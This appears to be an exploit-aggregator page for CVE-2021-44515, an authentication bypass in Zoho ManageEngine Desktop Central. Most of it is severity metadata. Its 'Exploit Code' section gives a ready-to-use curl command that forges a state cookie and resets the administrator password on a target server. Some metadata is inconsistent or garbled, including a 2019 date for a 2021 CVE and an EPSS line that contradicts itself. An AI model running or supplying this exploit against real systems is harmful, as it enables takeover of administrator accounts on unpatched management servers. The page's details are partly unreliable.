Exploit for SRC-2022-0001 : Zoho ManageEngine Desktop Central StateFilter Arbitrary Forward Authentication Bypass Vulnerability

CVE-2021-44515

srcincite · 2019-12-12

Description

Zoho ManageEngine Desktop Central authentication bypass vulnerabilit

Entry point

ParameterloginName · query param

PathSTATE_ID/1337/changeDefaultAmazonPassword

Authentication bypass endpoint used to reset administrator password (changeDefaultAmazonPassword)

Affected Zohocorp Manageengine Desktop Central versions

Zohocorp Manageengine Desktop Central< 10.1.2127.18, 10.1.2137.3

All known vulnerabilities by product

Zoho Manageengine Desktop Central

CVSS 10.0 for CVE-2021-44515

10.0

HIGH SEVERITY

Version 2.0

VectorAV:N/AC:L/Au:N/C:C/I:C/A:C

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

EPSS Score

99.9%higher than 100.0% of all CVEs

Updated 2026-06-24

Exploit Details

Modified:2022-01-21 00:00

Last Seen:2026-01-15 16:06

Reporter:Steven Seeley of Source Incite

Exploit Code

MARKDOWN2 lines

## https://sploitus.com/exploit?id=SRC-2022-0001
curl -kb "STATE_COOKIE=&_REQS/_TIME/1337" "https://target.tld:8383/STATE_ID/1337/changeDefaultAmazonPassword?loginName=admin&newUserPassword=haxed" -d ""

Exploit Code

Share

Share on social media: